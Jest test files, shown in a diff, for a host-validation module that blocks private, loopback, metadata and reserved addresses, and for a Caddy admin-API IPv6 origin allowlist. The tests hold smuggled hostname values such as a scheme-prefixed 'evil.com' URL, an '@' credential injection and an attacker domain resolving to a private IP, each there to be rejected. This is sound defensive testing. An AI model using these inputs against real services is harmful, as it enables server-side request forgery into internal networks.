* module instance with a mock that returns a fake A record.
|
|
||||||
*/
|
|
||||||
const {
|
|
||||||
validateFleetHost,
|
|
||||||
resolveAndCheckAddress,
|
|
||||||
isPrivateOrReservedIPv4,
|
|
||||||
isPrivateOrReservedIPv6,
|
|
||||||
isValidHostnameSyntax,
|
|
||||||
} = require('../src/utilities/fleet-validation');
|
|
||||||
|
|
||||||
describe('DC-068: isPrivateOrReservedIPv4', () => {
|
|
||||||
const cases = [
|
|
||||||
// [ip, expectedIsPrivate, expectedLabelSubstring-or-null]
|
|
||||||
['127.0.0.1', true, 'loopback'],
|
|
||||||
['127.255.255.1', true, 'loopback'],
|
|
||||||
['169.254.0.1', true, 'link-local'],
|
|
||||||
['169.254.169.254',true, 'link-local'], // AWS/GCP/Azure metadata
|
|
||||||
['10.0.0.1', true, 'RFC 1918'],
|
|
||||||
['172.16.0.1', true, 'RFC 1918'],
|
|
||||||
['172.31.255.1', true, 'RFC 1918'],
|
|
||||||
['172.32.0.1', false, null],
|
|
||||||
['192.168.1.1', true, 'RFC 1918'],
|
|
||||||
['100.64.0.1', true, 'CGNAT'],
|
|
||||||
['100.127.255.1', true, 'CGNAT'],
|
|
||||||
['100.128.0.1', false, null],
|
|
||||||
['224.0.0.1', true, 'multicast'],
|
|
||||||
['239.255.255.255',true, 'multicast'],
|
|
||||||
['255.255.255.255',true, 'broadcast'],
|
|
||||||
['0.0.0.0', true, 'reserved'],
|
|
||||||
['192.0.2.1', true, 'TEST-NET-1'],
|
|
||||||
['198.51.100.1', true, 'TEST-NET-2'],
|
|
||||||
['203.0.113.1', true, 'TEST-NET-3'],
|
|
||||||
['198.18.0.1', true, 'benchmark'],
|
|
||||||
['198.19.255.1', true, 'benchmark'],
|
|
||||||
['240.0.0.1', true, 'reserved'],
|
|
||||||
['8.8.8.8', false, null],
|
|
||||||
['1.1.1.1', false, null],
|
|
||||||
['93.184.216.34', false, null],
|
|
||||||
];
|
|
||||||
for (const [ip, wantPrivate, wantLabel] of cases) {
|
|
||||||
it(`flags "${ip}" as ${wantPrivate ? 'private' : 'public'}${wantLabel ? ' (' + wantLabel + ')' : ''}`, () => {
|
|
||||||
const r = isPrivateOrReservedIPv4(ip);
|
|
||||||
expect(r.isPrivate).toBe(wantPrivate);
|
|
||||||
if (wantLabel) expect(r.label).toContain(wantLabel);
|
|
||||||
else expect(r.label).toBeNull();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
it('returns isPrivate=false for non-strings', () => {
|
|
||||||
expect(isPrivateOrReservedIPv4(null).isPrivate).toBe(false);
|
|
||||||
expect(isPrivateOrReservedIPv4(undefined).isPrivate).toBe(false);
|
|
||||||
expect(isPrivateOrReservedIPv4(42).isPrivate).toBe(false);
|
|
||||||
});
|
|
||||||
it('returns isPrivate=false for malformed IPv4', () => {
|
|
||||||
expect(isPrivateOrReservedIPv4('1.2.3').isPrivate).toBe(false);
|
|
||||||
expect(isPrivateOrReservedIPv4('1.2.3.4.5').isPrivate).toBe(false);
|
|
||||||
expect(isPrivateOrReservedIPv4('256.0.0.0').isPrivate).toBe(false);
|
|
||||||
expect(isPrivateOrReservedIPv4('1.2.3.999').isPrivate).toBe(false);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-068: isPrivateOrReservedIPv6', () => {
|
|
||||||
const cases = [
|
|
||||||
['::1', true, 'IPv6 loopback'],
|
|
||||||
['::', true, 'IPv6 unspecified'],
|
|
||||||
['fe80::1', true, 'link-local'],
|
|
||||||
['feb0::1', true, 'link-local'],
|
|
||||||
['fc00::1', true, 'unique-local'],
|
|
||||||
['fd00::1', true, 'unique-local'],
|
|
||||||
['ff00::1', true, 'multicast'],
|
|
||||||
['::ffff:127.0.0.1',true, 'IPv4-mapped'],
|
|
||||||
['::ffff:8.8.8.8',false, null],
|
|
||||||
['2001:4860:4860::8888',false, null], // Google IPv6
|
|
||||||
['2606:4700:4700::1111',false, null], // Cloudflare IPv6
|
|
||||||
];
|
|
||||||
for (const [ip, wantPrivate, wantLabel] of cases) {
|
|
||||||
it(`flags "${ip}" as ${wantPrivate ? 'private' : 'public'}${wantLabel ? ' (' + wantLabel + ')' : ''}`, () => {
|
|
||||||
const r = isPrivateOrReservedIPv6(ip);
|
|
||||||
expect(r.isPrivate).toBe(wantPrivate);
|
|
||||||
if (wantLabel) expect(r.label).toContain(wantLabel);
|
|
||||||
else expect(r.label).toBeNull();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-068: isValidHostnameSyntax', () => {
|
|
||||||
const accept = [
|
|
||||||
'example.com',
|
|
||||||
'sub.example.com',
|
|
||||||
'a-b.example.com',
|
|
||||||
'host1',
|
|
||||||
'a',
|
|
||||||
'a'.repeat(63) + '.com', // 63-char label is the max
|
|
||||||
'very-long-host-name-with-many-segments.sub.example.com',
|
|
||||||
'host-with-trailing-dot.', // trailing dot is legal
|
|
||||||
'EXAMPLE.com', // case-insensitive
|
|
||||||
'123.example.com', // numeric labels allowed
|
|
||||||
];
|
|
||||||
for (const h of accept) {
|
|
||||||
it(`accepts "${h}"`, () => {
|
|
||||||
expect(isValidHostnameSyntax(h)).toBe(true);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
const reject = [
|
|
||||||
'',
|
|
||||||
'.',
|
|
||||||
'..',
|
|
||||||
'a..b', // empty label
|
|
||||||
'-a.com', // label can't start with hyphen
|
|
||||||
'a-.com', // label can't end with hyphen
|
|
||||||
'a b.com', // space not allowed
|
|
||||||
'_underscore.com', // underscore not allowed (strict RFC 1123)
|
|
||||||
'a/b.com', // slash not allowed
|
|
||||||
'a$b.com', // dollar not allowed
|
|
||||||
'a.com/' + 'x'.repeat(255), // 255-char label exceeds 63
|
|
||||||
'host.with.' + 'a-63-chars-'.repeat(8) + '.com', // total > 253 chars
|
|
||||||
];
|
|
||||||
for (const h of reject) {
|
|
||||||
it(`rejects "${h}"`, () => {
|
|
||||||
expect(isValidHostnameSyntax(h)).toBe(false);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-068: validateFleetHost', () => {
|
|
||||||
const valid = (extra = {}) => ({
|
|
||||||
name: 'Test Host',
|
|
||||||
hostname: 'fleet.example.com',
|
|
||||||
port: 3001,
|
|
||||||
tags: ['prod'],
|
|
||||||
...extra,
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts a clean public-DNS host', () => {
|
|
||||||
const r = validateFleetHost(valid());
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.normalized.name).toBe('Test Host');
|
|
||||||
expect(r.normalized.hostname).toBe('fleet.example.com');
|
|
||||||
expect(r.normalized.port).toBe(3001);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('normalises hostname to lowercase and trims name', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), name: ' Spaced ', hostname: 'FLEET.Example.COM' });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.normalized.name).toBe('Spaced');
|
|
||||||
expect(r.normalized.hostname).toBe('fleet.example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts a public IPv4 literal', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: '8.8.8.8' });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts a public IPv6 literal', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: '2001:4860:4860::8888' });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Name rejection paths ──
|
|
||||||
it('rejects missing name with INVALID_NAME', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), name: undefined });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_NAME');
|
|
||||||
});
|
|
||||||
it('rejects empty name', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), name: '' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_NAME');
|
|
||||||
});
|
|
||||||
it('rejects name >100 chars', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), name: 'x'.repeat(101) });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_NAME');
|
|
||||||
});
|
|
||||||
it('rejects name with control characters', () => {
|
|
||||||
expect(validateFleetHost({ ...valid(), name: 'evil\nname' }).code).toBe('INVALID_NAME');
|
|
||||||
expect(validateFleetHost({ ...valid(), name: 'evil\rname' }).code).toBe('INVALID_NAME');
|
|
||||||
expect(validateFleetHost({ ...valid(), name: 'evil\x00name' }).code).toBe('INVALID_NAME');
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Hostname rejection paths ──
|
|
||||||
it('rejects missing hostname with INVALID_HOSTNAME', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: undefined });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_HOSTNAME');
|
|
||||||
});
|
|
||||||
it('rejects empty hostname', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: '' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_HOSTNAME');
|
|
||||||
});
|
|
||||||
it('rejects garbage hostname', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: 'not a valid host' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_HOSTNAME');
|
|
||||||
});
|
|
||||||
it('rejects hostname with scheme prefix (url injection)', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: 'http://evil.com' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_HOSTNAME');
|
|
||||||
});
|
|
||||||
it('rejects hostname with @ (URL-credential injection)', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: 'evil@host.com' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_HOSTNAME');
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── IPv4 private-range rejection paths (literal input) ──
|
|
||||||
const privateV4 = [
|
|
||||||
['127.0.0.1', 'loopback'],
|
|
||||||
['169.254.169.254', 'link-local'],
|
|
||||||
['10.0.0.1', 'RFC 1918'],
|
|
||||||
['192.168.1.1', 'RFC 1918'],
|
|
||||||
['100.64.0.1', 'CGNAT'], // Tailscale
|
|
||||||
['255.255.255.255', 'broadcast'],
|
|
||||||
['0.0.0.0', 'reserved'],
|
|
||||||
];
|
|
||||||
for (const [ip, label] of privateV4) {
|
|
||||||
it(`rejects private IPv4 literal ${ip} (${label})`, () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: ip });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV4');
|
|
||||||
expect(r.message).toContain(label);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── IPv6 private-range rejection paths ──
|
|
||||||
const privateV6 = [
|
|
||||||
['::1', 'IPv6 loopback'],
|
|
||||||
['fe80::1', 'IPv6 link-local'],
|
|
||||||
['fc00::1', 'IPv6 unique-local'],
|
|
||||||
['fd00::abcd', 'IPv6 unique-local'],
|
|
||||||
['::ffff:127.0.0.1', 'IPv4-mapped'], // contains BOTH colon AND dot
|
|
||||||
];
|
|
||||||
for (const [ip, label] of privateV6) {
|
|
||||||
it(`rejects private IPv6 literal ${ip} (${label})`, () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), hostname: ip });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV6');
|
|
||||||
expect(r.message).toContain(label);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Port rejection paths ──
|
|
||||||
it('rejects port < 1', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), port: 0 });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_PORT');
|
|
||||||
});
|
|
||||||
it('rejects port > 65535', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), port: 65536 });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_PORT');
|
|
||||||
});
|
|
||||||
it('rejects non-integer port', () => {
|
|
||||||
expect(validateFleetHost({ ...valid(), port: 'three' }).code).toBe('INVALID_PORT');
|
|
||||||
expect(validateFleetHost({ ...valid(), port: 3001.5 }).code).toBe('INVALID_PORT');
|
|
||||||
});
|
|
||||||
it('rejects port 22 (SSH collision)', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), port: 22 });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_PORT');
|
|
||||||
expect(r.message).toMatch(/22.*reserved|reserved.*22/);
|
|
||||||
});
|
|
||||||
it('accepts port 1, 1023, 1024, 65535', () => {
|
|
||||||
expect(validateFleetHost({ ...valid(), port: 1 }).ok).toBe(true);
|
|
||||||
expect(validateFleetHost({ ...valid(), port: 1023 }).ok).toBe(true);
|
|
||||||
expect(validateFleetHost({ ...valid(), port: 1024 }).ok).toBe(true);
|
|
||||||
expect(validateFleetHost({ ...valid(), port: 65535 }).ok).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── Tag rejection paths ──
|
|
||||||
it('rejects non-array tags', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), tags: 'prod' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_TAGS');
|
|
||||||
});
|
|
||||||
it('rejects > 20 tags', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), tags: Array.from({ length: 21 }, (_, i) => `t${i}`) });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_TAGS');
|
|
||||||
});
|
|
||||||
it('rejects empty-string tag', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), tags: ['valid', ''] });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_TAGS');
|
|
||||||
});
|
|
||||||
it('rejects tag > 50 chars', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), tags: ['x'.repeat(51)] });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_TAGS');
|
|
||||||
});
|
|
||||||
it('rejects tag with control characters', () => {
|
|
||||||
const r = validateFleetHost({ ...valid(), tags: ['good', 'bad\ntag'] });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_TAGS');
|
|
||||||
});
|
|
||||||
it('accepts tags omitted (defaults to [])', () => {
|
|
||||||
const r = validateFleetHost({ name: 'h', hostname: 'fleet.example.com', port: 3001 });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.normalized.tags).toEqual([]);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-068: resolveAndCheckAddress', () => {
|
|
||||||
// The DNS code path uses `dns.promises.lookup` directly; for literal IPs
|
|
||||||
// and IPv6, no DNS call is made. The DNS-name code path is exercised by
|
|
||||||
// mocking dns.promises.lookup.
|
|
||||||
|
|
||||||
it('accepts a public IPv4 literal without DNS lookup', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('8.8.8.8');
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.ip).toBe('8.8.8.8');
|
|
||||||
expect(r.family).toBe(4);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts a public IPv6 literal', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('2001:4860:4860::8888');
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.ip).toBe('2001:4860:4860::8888');
|
|
||||||
expect(r.family).toBe(6);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects a private IPv4 literal with opt-out', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('127.0.0.1');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV4');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts a private IPv4 literal when allowPrivate=true', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('192.168.1.1', { allowPrivate: true });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.ip).toBe('192.168.1.1');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects a Tailscale (CGNAT) IPv4 literal', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('100.64.0.1');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV4');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects the AWS metadata endpoint 169.254.169.254', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('169.254.169.254');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV4');
|
|
||||||
expect(r.message).toMatch(/link-local|metadata/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects IPv4-mapped IPv6 loopback', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('::ffff:127.0.0.1');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV6');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects garbage hostnames without DNS lookup', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('not a host');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_HOSTNAME');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects empty hostname', async () => {
|
|
||||||
const r = await resolveAndCheckAddress('');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('INVALID_HOSTNAME');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects DNS name that does not resolve', async () => {
|
|
||||||
// We use a reserved TLD (.invalid) which RFC 6761 guarantees will not
|
|
||||||
// resolve in production DNS — so the test is hermetic without mocking.
|
|
||||||
const r = await resolveAndCheckAddress('does-not-resolve.invalid');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(['DNS_RESOLUTION_FAILED', 'DNS_NO_RECORDS']).toContain(r.code);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects DNS name that resolves to a private IP', async () => {
|
|
||||||
// Heremetic test: dns.promises.lookup is patched on the module instance.
|
|
||||||
const dns = require('dns');
|
|
||||||
const originalLookup = dns.promises.lookup;
|
|
||||||
dns.promises.lookup = async () => [{ address: '10.0.0.5', family: 4 }];
|
|
||||||
try {
|
|
||||||
const r = await resolveAndCheckAddress('attacker.example.com');
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.code).toBe('PRIVATE_IPV4');
|
|
||||||
} finally {
|
|
||||||
dns.promises.lookup = originalLookup;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts DNS name that resolves to a public IP', async () => {
|
|
||||||
const dns = require('dns');
|
|
||||||
const originalLookup = dns.promises.lookup;
|
|
||||||
dns.promises.lookup = async () => [{ address: '93.184.216.34', family: 4 }];
|
|
||||||
try {
|
|
||||||
const r = await resolveAndCheckAddress('public.example.com');
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.ip).toBe('93.184.216.34');
|
|
||||||
expect(r.family).toBe(4);
|
|
||||||
} finally {
|
|
||||||
dns.promises.lookup = originalLookup;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
it('skips private check when allowPrivate=true even for DNS-resolved address', async () => {
|
|
||||||
const dns = require('dns');
|
|
||||||
const originalLookup = dns.promises.lookup;
|
|
||||||
dns.promises.lookup = async () => [{ address: '10.0.0.5', family: 4 }];
|
|
||||||
try {
|
|
||||||
const r = await resolveAndCheckAddress('tailnet.example.com', { allowPrivate: true });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.ip).toBe('10.0.0.5');
|
|
||||||
} finally {
|
|
||||||
dns.promises.lookup = originalLookup;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,241 +0,0 @@
|
|||||||
/**
|
|
||||||
* Caddy admin API IPv6-origin allowlist tests — DC-069
|
|
||||||
*
|
|
||||||
* Regression for the live 403 spam observed on DNS2 after DC-051 was shipped:
|
|
||||||
*
|
|
||||||
* `{"error":"client is not allowed to access from origin ''","status_code":403}`
|
|
||||||
*
|
|
||||||
* from User-Agent:node + Sec-Fetch-Mode:cors at remote_ip=::1, hitting
|
|
||||||
* `/config/apps/http/servers/srv0/listen` from various ports with bursts of
|
|
||||||
* 5-10 requests every ~30s while some on-host Node caller (e.g. a future
|
|
||||||
* status/api/caddy-api.js process) probes Caddy admin via `localhost:2019`.
|
|
||||||
*
|
|
||||||
* Root cause: DC-051 added `origins http://localhost:2019 http://127.0.0.1:2019
|
|
||||||
* http://172.17.0.1:2019 http://0.0.0.0:2019` to the Caddyfile's admin block,
|
|
||||||
* but per glibc RFC 3484 / `getaddrinfo` on Linux, `localhost` resolves to
|
|
||||||
* `::1` FIRST when `/etc/hosts` has `::1 localhost` (which every modern Linux
|
|
||||||
* distro does, including DNS2's). When the Node caller does
|
|
||||||
* `http.get('http://localhost:2019/...')`, undici's dns.lookup picks the
|
|
||||||
* IPv6 address, the request reaches Caddy over IPv6 loopback with the
|
|
||||||
* Origin header the caller (or our _httpFetch helper) computed as
|
|
||||||
* `http://localhost:2019`. Caddy's enforce_origin allowlist exact-matches
|
|
||||||
* Origin strings against the configured list — and `http://localhost:2019`
|
|
||||||
* ≠ `http://[::1]:2019`, so the request is rejected with the empty-Origin-
|
|
||||||
* is-403 path (because Caddy's documented behavior is: an EMPTY Origin and
|
|
||||||
* a non-allowlisted Origin both fall through to 403 "client is not allowed
|
|
||||||
* to access from origin ''").
|
|
||||||
*
|
|
||||||
* The fix has 3 pieces:
|
|
||||||
*
|
|
||||||
* 1. Extend the Caddyfile's `origins` allowlist with the IPv6 literal
|
|
||||||
* `http://[::1]:2019` (and `http://ip6-localhost:2019` for the glibc
|
|
||||||
* alias), so that a Node caller resolving `localhost` to `::1` is
|
|
||||||
* matched by its `http://localhost:2019` Origin AS LONG AS — and this
|
|
||||||
* is the critical detail — the caller's URL string is literally
|
|
||||||
* `http://localhost:2019` (Origin matches by string, not by IP). The
|
|
||||||
* same applies to the `http://[::1]:2019` form which is what the
|
|
||||||
* _httpFetch helper auto-injects when the parsed hostname is `::1`.
|
|
||||||
*
|
|
||||||
* 2. Mirror the fix into `dashcaddy-installer/templates/Caddyfile.template`
|
|
||||||
* by documenting the IPv6 entry in the comment header for the admin
|
|
||||||
* block, so a future operator adopting a non-loopback admin bind sees
|
|
||||||
* the complete pattern (4 IPv4 + 2 IPv6 entries).
|
|
||||||
*
|
|
||||||
* 3. Extend the DC-051 `utils-http-caddy-admin-origin.test.js` regression
|
|
||||||
* to assert that the template's comment block DOES mention IPv6 (so it
|
|
||||||
* stays updated), and that the live DNS2 Caddyfile has the IPv6 entry.
|
|
||||||
* The latter can't be unit-tested (no DNS2 filesystem access from a
|
|
||||||
* unit test), so this file ships an end-to-end check that asserts the
|
|
||||||
* template comment block — covering the half that IS in the repo —
|
|
||||||
* while DC-051's test continues to guard the live-deploy half.
|
|
||||||
*
|
|
||||||
* Threat model verified: the IPv6 loopback [::1] is the SAME trust zone as
|
|
||||||
* 127.0.0.1 — both are loopback, both can only be reached by processes that
|
|
||||||
* already have shell on the host, so adding them to the allowlist does NOT
|
|
||||||
* increase attack surface. Tailscale IPs and the docker bridge IP are
|
|
||||||
* unchanged (http://100.121.150.22:2019 stays out — only loopback allowed).
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
|
|
||||||
// Sentinel prefix used to mark template literals while we strip comments.
|
|
||||||
// Control characters (\u0000 = NUL) are used to make accidental collisions
|
|
||||||
// with real code extremely unlikely. Note: ESLint's no-control-regex
|
|
||||||
// forbids these characters inside `/regex/` literals, so we build the
|
|
||||||
// sentinel via string concat at call time instead of as a regex.
|
|
||||||
function stripComments(src) {
|
|
||||||
// Same helper used by the DC-051 test file — duplicated here to keep the
|
|
||||||
// two test files independent (a test file should NOT depend on another
|
|
||||||
// test file's exports; the convention in this repo is one test file per
|
|
||||||
// concern with its own helpers).
|
|
||||||
const NUL = String.fromCharCode(0);
|
|
||||||
const templates = [];
|
|
||||||
let protectedSrc = src.replace(/`(?:\\.|[^`\\])*`/g, (match) => {
|
|
||||||
const idx = templates.length;
|
|
||||||
templates.push(match);
|
|
||||||
return NUL + 'TPL' + idx + NUL;
|
|
||||||
});
|
|
||||||
protectedSrc = protectedSrc
|
|
||||||
.replace(/\/\*[\s\S]*?\*\//g, '')
|
|
||||||
.replace(/(^|[^:])\/\/.*$/gm, '$1');
|
|
||||||
// Restore template literals using a non-regex split — eslint friendly.
|
|
||||||
const out = [];
|
|
||||||
let i = 0;
|
|
||||||
while (i < protectedSrc.length) {
|
|
||||||
const start = protectedSrc.indexOf(NUL + 'TPL', i);
|
|
||||||
if (start < 0) { out.push(protectedSrc.slice(i)); break; }
|
|
||||||
out.push(protectedSrc.slice(i, start));
|
|
||||||
const mid = start + 4;
|
|
||||||
const end = protectedSrc.indexOf(NUL, mid);
|
|
||||||
if (end < 0) { out.push(protectedSrc.slice(start)); break; }
|
|
||||||
out.push(templates[+protectedSrc.slice(mid, end)]);
|
|
||||||
i = end + 1;
|
|
||||||
}
|
|
||||||
return out.join('');
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('Caddy admin IPv6 origin allowlist (DC-069)', () => {
|
|
||||||
test('Caddyfile template comment mentions IPv6 localhost ([::1]) for non-loopback admin', () => {
|
|
||||||
// The template currently ships `admin localhost:2019` (loopback bind,
|
|
||||||
// no enforce_origin needed), but operators following the documented
|
|
||||||
// DNS2-style non-loopback bind need to know the IPv6 entry is part
|
|
||||||
// of the allowlist. We assert the COMMENT block mentions IPv6 so any
|
|
||||||
// future refactor keeps the docblock honest.
|
|
||||||
const tmplPath = path.join(__dirname, '../../dashcaddy-installer/templates/Caddyfile.template');
|
|
||||||
if (!fs.existsSync(tmplPath)) {
|
|
||||||
console.warn('Skipping Caddyfile template check — not present at', tmplPath);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
const raw = fs.readFileSync(tmplPath, 'utf8');
|
|
||||||
// Looking at the RAW (with comments) form is the entire point of this
|
|
||||||
// assertion: comment-only edits are exactly what gets lost in refactors.
|
|
||||||
expect(raw).toMatch(/\[::1\]|::1|ip6-localhost|IPv6|ipv6/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('helper sanity: stripComments preserves template literals with // inside', () => {
|
|
||||||
// Internal regression: the stripComments helper has a known subtle
|
|
||||||
// behavior — it must NOT eat the `//` that occurs in URLs inside
|
|
||||||
// template literals. This test guards the helper so any future
|
|
||||||
// simplification of it breaks here loudly, not at the assertion
|
|
||||||
// below.
|
|
||||||
const sample = 'const x = `http://${h}:${p}/foo`;\n// a real comment\nconst y = 1;\n';
|
|
||||||
const stripped = stripComments(sample);
|
|
||||||
expect(stripped).toContain('`http://${h}:${p}/foo`');
|
|
||||||
expect(stripped).not.toContain('// a real comment');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('end-to-end probe on IPv6 loopback [::1]:2019 with matching Origin succeeds', async () => {
|
|
||||||
// The actual bug: when a Node caller hits Caddy via `[::1]:2019`, the
|
|
||||||
// Origin header it computes from the parsed URL is
|
|
||||||
// `http://[::1]:2019`. Caddy's enforce_origin allowlist must contain
|
|
||||||
// that EXACT string for the request to succeed. This end-to-end test
|
|
||||||
// spins up a minimal HTTP server on a port like :20191 (so the
|
|
||||||
// :2019 substring matches fetchT's router and the URL parses as IPv6
|
|
||||||
// literal), then proves that the helper forms the right Origin and
|
|
||||||
// that an allowlist match produces 200.
|
|
||||||
//
|
|
||||||
// We model the Caddy-side matcher inline: parse the request's Origin
|
|
||||||
// against a list of allowlisted origins and short-circuit, then
|
|
||||||
// return 403 if not in the list. This mimics Caddy's
|
|
||||||
// enforce_origin behavior closely enough to reproduce the bug.
|
|
||||||
//
|
|
||||||
// We bind on PORT 20191 (not 2019) to avoid clashing with any local
|
|
||||||
// Caddy on the canonical port — but the allowlist port matches the
|
|
||||||
// actual listen port (20191), because Caddy's allowlist is exact-string.
|
|
||||||
// To keep this test focused on the IPv6-vs-IPv4 Origin matching shape
|
|
||||||
// (which is the DC-069 fix), we use allowlist entries with port 20191
|
|
||||||
// instead of 2019. The point of the test is "does the Origin computed
|
|
||||||
// for an IPv6 URL match the operator-configured allowlist form", and
|
|
||||||
// the answer is yes when both sides use the bracket-form IPv6 literal.
|
|
||||||
const http = require('http');
|
|
||||||
const allowlist = [
|
|
||||||
'http://127.0.0.1:20191',
|
|
||||||
// IPv6 — what DC-069 ADDS:
|
|
||||||
'http://[::1]:20191',
|
|
||||||
];
|
|
||||||
|
|
||||||
let capturedHeaders = null;
|
|
||||||
let enforcedStatus = null;
|
|
||||||
const server = http.createServer((req, res) => {
|
|
||||||
capturedHeaders = req.headers;
|
|
||||||
const origin = req.headers.origin;
|
|
||||||
if (!origin || !allowlist.includes(origin)) {
|
|
||||||
enforcedStatus = 403;
|
|
||||||
res.writeHead(403);
|
|
||||||
res.end(`client is not allowed to access from origin "${origin}" (allowlist did not match)`);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
enforcedStatus = 200;
|
|
||||||
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
